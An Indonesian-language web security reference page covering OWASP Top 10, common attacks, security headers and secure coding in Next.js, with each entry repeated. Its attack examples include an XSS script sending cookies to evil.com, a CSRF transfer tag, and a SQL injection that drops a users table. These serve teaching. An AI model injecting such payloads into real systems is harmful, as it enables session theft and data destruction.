SECURITY DOCS
SECURITY-FUNDAMENTALS
Name
Description
Example
Output
CIA TriadDescription: Confidentiality (kerahasiaan), Integrity (integritas), Availability (ketersediaan). Tiga pilar utama keamanan informasi.
Example:
Confidentiality: enkripsi data, Integrity: hash checksums, Availability: DDoS protection.
Output: Prinsip dasar keamanan
CIA TriadConfidentiality (kerahasiaan), Integrity (integritas), Availability (ketersediaan). Tiga pilar utama keamanan informasi.
Confidentiality: enkripsi data, Integrity: hash checksums, Availability: DDoS protection.
Prinsip dasar keamanan
Least PrivilegeDescription: Setiap pengguna atau proses hanya memiliki hak akses minimum yang diperlukan untuk menjalankan tugasnya.
Example:
Service database hanya bisa SELECT pada tabel tertentu, bukan DELETE.
Output: Hak akses minimal
Least PrivilegeSetiap pengguna atau proses hanya memiliki hak akses minimum yang diperlukan untuk menjalankan tugasnya.
Service database hanya bisa SELECT pada tabel tertentu, bukan DELETE.
Hak akses minimal
Defense in DepthDescription: Menerapkan beberapa lapisan pertahanan sehingga jika satu lapisan gagal, lapisan lain masih melindungi.
Example:
Firewall + WAF + secure coding + CSP header + input validation.
Output: Pertahanan berlapis
Defense in DepthMenerapkan beberapa lapisan pertahanan sehingga jika satu lapisan gagal, lapisan lain masih melindungi.
Firewall + WAF + secure coding + CSP header + input validation.
Pertahanan berlapis
Secure by DesignDescription: Keamanan diintegrasikan sejak awal pengembangan, bukan sebagai tambahan.
Example:
Threat modeling, secure coding guidelines, code review.
Output: Keamanan bawaan
Secure by DesignKeamanan diintegrasikan sejak awal pengembangan, bukan sebagai tambahan.
Threat modeling, secure coding guidelines, code review.
Keamanan bawaan
OWASP-TOP10
Name
Description
Example
Output
A01: Broken Access ControlDescription: Pengguna dapat mengakses data atau fungsi di luar izinnya.
Example:
Mengubah ID di URL untuk melihat data orang lain: /user/123/profile
Output: Akses tidak sah
A01: Broken Access ControlPengguna dapat mengakses data atau fungsi di luar izinnya.
Mengubah ID di URL untuk melihat data orang lain: /user/123/profile
Akses tidak sah
A02: Cryptographic FailuresDescription: Kegagalan dalam melindungi data sensitif (password disimpan plaintext, transmisi data tanpa enkripsi).
Example:
Menggunakan MD5 untuk password, bukan bcrypt/argon2.
Output: Data bocor
A02: Cryptographic FailuresKegagalan dalam melindungi data sensitif (password disimpan plaintext, transmisi data tanpa enkripsi).
Menggunakan MD5 untuk password, bukan bcrypt/argon2.
Data bocor
A03: InjectionDescription: Penyerang mengirimkan input jahat yang dieksekusi oleh interpreter (SQL, NoSQL, OS command, LDAP, dll).
Example:
SELECT * FROM users WHERE email = '' OR '1'='1'
Output: SQL Injection
A03: InjectionPenyerang mengirimkan input jahat yang dieksekusi oleh interpreter (SQL, NoSQL, OS command, LDAP, dll).
SELECT * FROM users WHERE email = '' OR '1'='1'
SQL Injection
A04: Insecure DesignDescription: Kelemahan pada desain aplikasi yang tidak memperhitungkan ancaman.
Example:
Rate limiting tidak ada, sehingga brute force attack mungkin dilakukan.
Output: Desain tidak aman
A04: Insecure DesignKelemahan pada desain aplikasi yang tidak memperhitungkan ancaman.
Rate limiting tidak ada, sehingga brute force attack mungkin dilakukan.
Desain tidak aman
A05: Security MisconfigurationDescription: Konfigurasi keamanan yang tidak benar (debug mode aktif, direktori listing terbuka, default password).
Example:
X-Powered-By: Express (menampilkan teknologi)
Output: Informasi berlebih
A05: Security MisconfigurationKonfigurasi keamanan yang tidak benar (debug mode aktif, direktori listing terbuka, default password).
X-Powered-By: Express (menampilkan teknologi)
Informasi berlebih
A06: Vulnerable and Outdated ComponentsDescription: Menggunakan library/package dengan kerentanan yang sudah diketahui.
Example:
package-lock.json berisi dependensi dengan CVE tinggi.
Output: Risiko eksploitasi
A06: Vulnerable and Outdated ComponentsMenggunakan library/package dengan kerentanan yang sudah diketahui.
package-lock.json berisi dependensi dengan CVE tinggi.
Risiko eksploitasi
A07: Identification and Authentication FailuresDescription: Kelemahan pada sistem login (session fixation, credential stuffing, weak password).
Example:
Tidak ada rate limit pada login, password minimal 4 karakter.
Output: Akun diambil alih
A07: Identification and Authentication FailuresKelemahan pada sistem login (session fixation, credential stuffing, weak password).
Tidak ada rate limit pada login, password minimal 4 karakter.
Akun diambil alih
A08: Software and Data Integrity FailuresDescription: Mengizinkan pembaruan atau data yang tidak diverifikasi integritasnya (supply chain attack).
Example:
CI/CD pipeline yang menjalankan script dari branch tanpa review.
Output: Malware masuk
A08: Software and Data Integrity FailuresMengizinkan pembaruan atau data yang tidak diverifikasi integritasnya (supply chain attack).
CI/CD pipeline yang menjalankan script dari branch tanpa review.
Malware masuk
A09: Security Logging and Monitoring FailuresDescription: Tidak adanya pencatatan dan pemantauan aktivitas mencurigakan.
Example:
Login gagal 1000 kali tidak tercatat, tidak ada alert.
Output: Serangan tidak terdeteksi
A09: Security Logging and Monitoring FailuresTidak adanya pencatatan dan pemantauan aktivitas mencurigakan.
Login gagal 1000 kali tidak tercatat, tidak ada alert.
Serangan tidak terdeteksi
A10: Server-Side Request Forgery (SSRF)Description: Penyerang memaksa server mengirim request ke lokasi yang tidak diinginkan.
Example:
Menyisipkan URL internal di parameter yang melakukan fetch: http://localhost/admin
Output: Akses ke jaringan internal
A10: Server-Side Request Forgery (SSRF)Penyerang memaksa server mengirim request ke lokasi yang tidak diinginkan.
Menyisipkan URL internal di parameter yang melakukan fetch: http://localhost/admin
Akses ke jaringan internal
COMMON-ATTACKS
Name
Description
Example
Output
Cross-Site Scripting (XSS)Description: Menyuntikkan skrip jahat ke halaman web yang dilihat pengguna lain.
Example:
<script>fetch('https://evil.com?cookie=' + document.cookie)</script>Output: Cookie pengguna dicuri
Cross-Site Scripting (XSS)Menyuntikkan skrip jahat ke halaman web yang dilihat pengguna lain.
<script>fetch('https://evil.com?cookie=' + document.cookie)</script>Cookie pengguna dicuri
Cross-Site Request Forgery (CSRF)Description: Memaksa pengguna yang sudah login untuk melakukan aksi yang tidak diinginkan.
Example:
<img src="https://bank.com/transfer?to=hacker&amount=1000">
Output: Transfer tanpa sepengetahuan
Cross-Site Request Forgery (CSRF)Memaksa pengguna yang sudah login untuk melakukan aksi yang tidak diinginkan.
<img src="https://bank.com/transfer?to=hacker&amount=1000">
Transfer tanpa sepengetahuan
SQL InjectionDescription: Menyisipkan pernyataan SQL berbahaya melalui input aplikasi.
Example:
' OR 1=1; DROP TABLE users; --
Output: Database dihancurkan
SQL InjectionMenyisipkan pernyataan SQL berbahaya melalui input aplikasi.
' OR 1=1; DROP TABLE users; --
Database dihancurkan
ClickjackingDescription: Menipu pengguna agar mengklik elemen yang tidak terlihat di atas halaman yang sah.
Example:
iframe transparan yang menutupi tombol 'Like' di Facebook.
Output: Klik tersembunyi
ClickjackingMenipu pengguna agar mengklik elemen yang tidak terlihat di atas halaman yang sah.
iframe transparan yang menutupi tombol 'Like' di Facebook.
Klik tersembunyi
Man-in-the-Middle (MITM)Description: Penyerang mencegat komunikasi antara dua pihak.
Example:
Menggunakan Wi-Fi publik tanpa enkripsi.
Output: Data disadap
Man-in-the-Middle (MITM)Penyerang mencegat komunikasi antara dua pihak.
Menggunakan Wi-Fi publik tanpa enkripsi.
Data disadap
Denial of Service (DoS/DDoS)Description: Membanjiri server dengan lalu lintas sehingga tidak bisa melayani pengguna sah.
Example:
HTTP flood, SYN flood, amplification attacks.
Output: Server down
Denial of Service (DoS/DDoS)Membanjiri server dengan lalu lintas sehingga tidak bisa melayani pengguna sah.
HTTP flood, SYN flood, amplification attacks.
Server down
Brute Force AttackDescription: Mencoba banyak kombinasi password hingga berhasil.
Example:
Menggunakan alat seperti Hydra untuk mencoba 10.000 password.
Output: Password lemah terbobol
Brute Force AttackMencoba banyak kombinasi password hingga berhasil.
Menggunakan alat seperti Hydra untuk mencoba 10.000 password.
Password lemah terbobol
SECURITY-HEADERS
Name
Description
Example
Output
Content-Security-Policy (CSP)Description: Mengontrol sumber daya yang diizinkan dimuat oleh browser (script, style, img, dll.). Mitigasi utama XSS.
Example:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'
Output: Script hanya dari domain sendiri atau dengan nonce
Content-Security-Policy (CSP)Mengontrol sumber daya yang diizinkan dimuat oleh browser (script, style, img, dll.). Mitigasi utama XSS.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'
Script hanya dari domain sendiri atau dengan nonce
Strict-Transport-Security (HSTS)Description: Memaksa browser menggunakan HTTPS, mencegah downgrade attack.
Example:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Output: HTTPS wajib 1 tahun
Strict-Transport-Security (HSTS)Memaksa browser menggunakan HTTPS, mencegah downgrade attack.
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
HTTPS wajib 1 tahun
X-Frame-OptionsDescription: Mencegah clickjacking dengan mengontrol apakah halaman bisa ditampilkan di dalam iframe.
Example:
X-Frame-Options: DENY
Output: Tidak dapat di-iframe
X-Frame-OptionsMencegah clickjacking dengan mengontrol apakah halaman bisa ditampilkan di dalam iframe.
X-Frame-Options: DENY
Tidak dapat di-iframe
X-Content-Type-OptionsDescription: Mencegah browser menebak (sniff) MIME type yang berbeda dari yang dideklarasikan.
Example:
X-Content-Type-Options: nosniff
Output: MIME type harus sesuai
X-Content-Type-OptionsMencegah browser menebak (sniff) MIME type yang berbeda dari yang dideklarasikan.
X-Content-Type-Options: nosniff
MIME type harus sesuai
Referrer-PolicyDescription: Mengontrol informasi referrer yang dikirim saat navigasi.
Example:
Referrer-Policy: strict-origin-when-cross-origin
Output: Hanya origin saat cross-origin
Referrer-PolicyMengontrol informasi referrer yang dikirim saat navigasi.
Referrer-Policy: strict-origin-when-cross-origin
Hanya origin saat cross-origin
Permissions-PolicyDescription: Membatasi fitur browser (kamera, mikrofon, geolokasi) untuk halaman dan iframe.
Example:
Permissions-Policy: camera=(), microphone=(), geolocation=(self)
Output: Fitur dibatasi
Permissions-PolicyMembatasi fitur browser (kamera, mikrofon, geolokasi) untuk halaman dan iframe.
Permissions-Policy: camera=(), microphone=(), geolocation=(self)
Fitur dibatasi
Cross-Origin-Opener-Policy (COOP)Description: Mengisolasi halaman dari cross-origin window.open untuk mencegah serangan side-channel.
Example:
Cross-Origin-Opener-Policy: same-origin
Output: Isolasi konteks browsing
Cross-Origin-Opener-Policy (COOP)Mengisolasi halaman dari cross-origin window.open untuk mencegah serangan side-channel.
Cross-Origin-Opener-Policy: same-origin
Isolasi konteks browsing
Cross-Origin-Embedder-Policy (COEP)Description: Mewajibkan semua resource cross-origin untuk menyertakan CORS header atau CORP.
Example:
Cross-Origin-Embedder-Policy: require-corp
Output: Hanya resource yang diizinkan
Cross-Origin-Embedder-Policy (COEP)Mewajibkan semua resource cross-origin untuk menyertakan CORS header atau CORP.
Cross-Origin-Embedder-Policy: require-corp
Hanya resource yang diizinkan
Cross-Origin-Resource-Policy (CORP)Description: Mengontrol siapa yang dapat memuat resource ini.
Example:
Cross-Origin-Resource-Policy: same-origin
Output: Hanya same-origin
Cross-Origin-Resource-Policy (CORP)Mengontrol siapa yang dapat memuat resource ini.
Cross-Origin-Resource-Policy: same-origin
Hanya same-origin
INPUT-VALIDATION
Name
Description
Example
Output
Never Trust User InputDescription: Semua input dari pengguna harus divalidasi, difilter, dan disanitasi di sisi server.
Example:
Validasi tipe data, panjang, format, karakter spesial.
Output: Input aman
Never Trust User InputSemua input dari pengguna harus divalidasi, difilter, dan disanitasi di sisi server.
Validasi tipe data, panjang, format, karakter spesial.
Input aman
Allowlisting vs BlocklistingDescription: Lebih aman menggunakan allowlist (hanya izinkan karakter tertentu) daripada blocklist (blokir karakter tertentu).
Example:
Allowlist: hanya [a-zA-Z0-9 ] Blocklist: tolak <, >, ", ' — bisa diakali
Output: Validasi kuat
Allowlisting vs BlocklistingLebih aman menggunakan allowlist (hanya izinkan karakter tertentu) daripada blocklist (blokir karakter tertentu).
Allowlist: hanya [a-zA-Z0-9 ] Blocklist: tolak <, >, ", ' — bisa diakali
Validasi kuat
Parameterized Queries / Prepared StatementsDescription: Gunakan parameter binding untuk menghindari SQL injection.
Example:
const query = 'SELECT * FROM users WHERE email = ?' db.query(query, [email])
Output: Input sebagai data, bukan kode
Parameterized Queries / Prepared StatementsGunakan parameter binding untuk menghindari SQL injection.
const query = 'SELECT * FROM users WHERE email = ?' db.query(query, [email])
Input sebagai data, bukan kode
Output EncodingDescription: Encode output sebelum ditampilkan di HTML untuk mencegah XSS.
Example:
Gunakan fungsi escape HTML: < untuk <, > untuk >, & untuk &.
Output: Tag tidak dieksekusi
Output EncodingEncode output sebelum ditampilkan di HTML untuk mencegah XSS.
Gunakan fungsi escape HTML: < untuk <, > untuk >, & untuk &.
Tag tidak dieksekusi
AUTHENTICATION-SECURITY
Name
Description
Example
Output
Password HashingDescription: Gunakan algoritma hash yang kuat dan lambat: bcrypt, argon2id, scrypt.
Example:
const hashed = await bcrypt.hash(password, 12)
Output: Password tidak disimpan plaintext
Password HashingGunakan algoritma hash yang kuat dan lambat: bcrypt, argon2id, scrypt.
const hashed = await bcrypt.hash(password, 12)
Password tidak disimpan plaintext
Multi-Factor Authentication (MFA)Description: Mewajibkan faktor kedua selain password (TOTP, SMS, hardware key).
Example:
Gunakan aplikasi seperti Google Authenticator atau WebAuthn.
Output: Lapisan keamanan ekstra
Multi-Factor Authentication (MFA)Mewajibkan faktor kedua selain password (TOTP, SMS, hardware key).
Gunakan aplikasi seperti Google Authenticator atau WebAuthn.
Lapisan keamanan ekstra
Rate Limiting LoginDescription: Batasi jumlah percobaan login untuk mencegah brute force.
Example:
Max 5 percobaan per akun per 15 menit.
Output: Brute force dicegah
Rate Limiting LoginBatasi jumlah percobaan login untuk mencegah brute force.
Max 5 percobaan per akun per 15 menit.
Brute force dicegah
Secure CookiesDescription: Atur cookie session dengan flag Secure, HttpOnly, SameSite.
Example:
Set-Cookie: session=abc; Secure; HttpOnly; SameSite=Lax
Output: Cookie terlindungi
Secure CookiesAtur cookie session dengan flag Secure, HttpOnly, SameSite.
Set-Cookie: session=abc; Secure; HttpOnly; SameSite=Lax
Cookie terlindungi
Session TimeoutDescription: Batasi durasi sesi dan lakukan rotasi session ID setelah login.
Example:
Session kedaluwarsa setelah 30 menit idle.
Output: Sesi aman
Session TimeoutBatasi durasi sesi dan lakukan rotasi session ID setelah login.
Session kedaluwarsa setelah 30 menit idle.
Sesi aman
CRYPTOGRAPHY
Name
Description
Example
Output
TLS 1.3Description: Versi terbaru Transport Layer Security, lebih cepat dan aman.
Example:
Server mendukung TLS 1.3, menonaktifkan TLS 1.0/1.1.
Output: Koneksi aman
TLS 1.3Versi terbaru Transport Layer Security, lebih cepat dan aman.
Server mendukung TLS 1.3, menonaktifkan TLS 1.0/1.1.
Koneksi aman
AES-256-GCMDescription: Enkripsi simetris modern dengan autentikasi (AEAD).
Example:
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv)
const encrypted = Buffer.concat([cipher.update(data), cipher.final()])
const tag = cipher.getAuthTag()Output: Data terenkripsi + tag
AES-256-GCMEnkripsi simetris modern dengan autentikasi (AEAD).
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv)
const encrypted = Buffer.concat([cipher.update(data), cipher.final()])
const tag = cipher.getAuthTag()Data terenkripsi + tag
HMACDescription: Hash-based Message Authentication Code untuk memverifikasi integritas dan autentisitas pesan.
Example:
const hmac = crypto.createHmac('sha256', secret).update(data).digest('hex')Output: Kode otentikasi
HMACHash-based Message Authentication Code untuk memverifikasi integritas dan autentisitas pesan.
const hmac = crypto.createHmac('sha256', secret).update(data).digest('hex')Kode otentikasi
Digital SignaturesDescription: Menggunakan kunci asimetris untuk menandatangani data (RSA, ECDSA).
Example:
const sign = crypto.createSign('SHA256').update(data).sign(privateKey, 'hex')Output: Tanda tangan digital
Digital SignaturesMenggunakan kunci asimetris untuk menandatangani data (RSA, ECDSA).
const sign = crypto.createSign('SHA256').update(data).sign(privateKey, 'hex')Tanda tangan digital
Random ValuesDescription: Gunakan cryptographic random generator, bukan Math.random().
Example:
const token = crypto.randomBytes(32).toString('hex')Output: Token aman
Random ValuesGunakan cryptographic random generator, bukan Math.random().
const token = crypto.randomBytes(32).toString('hex')Token aman
APP-SECURITY-NEXTJS
Name
Description
Example
Output
Server Components by DefaultDescription: Next.js App Router menggunakan Server Components secara default, membatasi data sensitif di server.
Example:
Data fetching dan logic di server component, tidak dikirim ke klien.
Output: Data aman di server
Server Components by DefaultNext.js App Router menggunakan Server Components secara default, membatasi data sensitif di server.
Data fetching dan logic di server component, tidak dikirim ke klien.
Data aman di server
Server ActionsDescription: Mutasi data di server tanpa perlu API routes tambahan, bisa divalidasi dengan Zod.
Example:
const schema = z.object({ email: z.string().email() })
async function action(formData) { 'use server'; schema.parse({ email: formData.get('email') }) }Output: Validasi di server
Server ActionsMutasi data di server tanpa perlu API routes tambahan, bisa divalidasi dengan Zod.
const schema = z.object({ email: z.string().email() })
async function action(formData) { 'use server'; schema.parse({ email: formData.get('email') }) }Validasi di server
Middleware AuthenticationDescription: Proteksi rute dengan middleware tanpa memaparkan logika otentikasi di klien.
Example:
import { auth } from '@/auth'
export default auth((req) => { if (!req.auth) return Response.redirect(...) })Output: Rute terproteksi
Middleware AuthenticationProteksi rute dengan middleware tanpa memaparkan logika otentikasi di klien.
import { auth } from '@/auth'
export default auth((req) => { if (!req.auth) return Response.redirect(...) })Rute terproteksi
Environment VariablesDescription: Simpan rahasia di .env.local, akses hanya di server (tidak dengan NEXT_PUBLIC_ prefix).
Example:
DATABASE_URL=postgres://... # tidak NEXT_PUBLIC_DATABASE_URL
Output: Rahasia tidak terekspos
Environment VariablesSimpan rahasia di .env.local, akses hanya di server (tidak dengan NEXT_PUBLIC_ prefix).
DATABASE_URL=postgres://... # tidak NEXT_PUBLIC_DATABASE_URL
Rahasia tidak terekspos
BEST-PRACTICES
Name
Description
Example
Output
Regular Dependency UpdatesDescription: Perbarui package secara berkala, jalankan audit keamanan (npm audit).
Example:
pnpm audit --fix
Output: Kerentanan diperbaiki
Regular Dependency UpdatesPerbarui package secara berkala, jalankan audit keamanan (npm audit).
pnpm audit --fix
Kerentanan diperbaiki
Security Headers CheckupDescription: Gunakan alat seperti securityheaders.com atau Mozilla Observatory untuk memeriksa header keamanan.
Example:
Jalankan audit, pastikan skor A+.
Output: Konfigurasi optimal
Security Headers CheckupGunakan alat seperti securityheaders.com atau Mozilla Observatory untuk memeriksa header keamanan.
Jalankan audit, pastikan skor A+.
Konfigurasi optimal
Penetration TestingDescription: Lakukan uji penetrasi secara berkala untuk menemukan celah keamanan.
Example:
OWASP ZAP, Burp Suite, atau jasa profesional.
Output: Laporan kerentanan
Penetration TestingLakukan uji penetrasi secara berkala untuk menemukan celah keamanan.
OWASP ZAP, Burp Suite, atau jasa profesional.
Laporan kerentanan
Incident Response PlanDescription: Siapkan rencana penanganan insiden keamanan (data breach, serangan).
Example:
Tim, langkah mitigasi, komunikasi ke pengguna, pemulihan.
Output: Respons cepat
Incident Response PlanSiapkan rencana penanganan insiden keamanan (data breach, serangan).
Tim, langkah mitigasi, komunikasi ke pengguna, pemulihan.
Respons cepat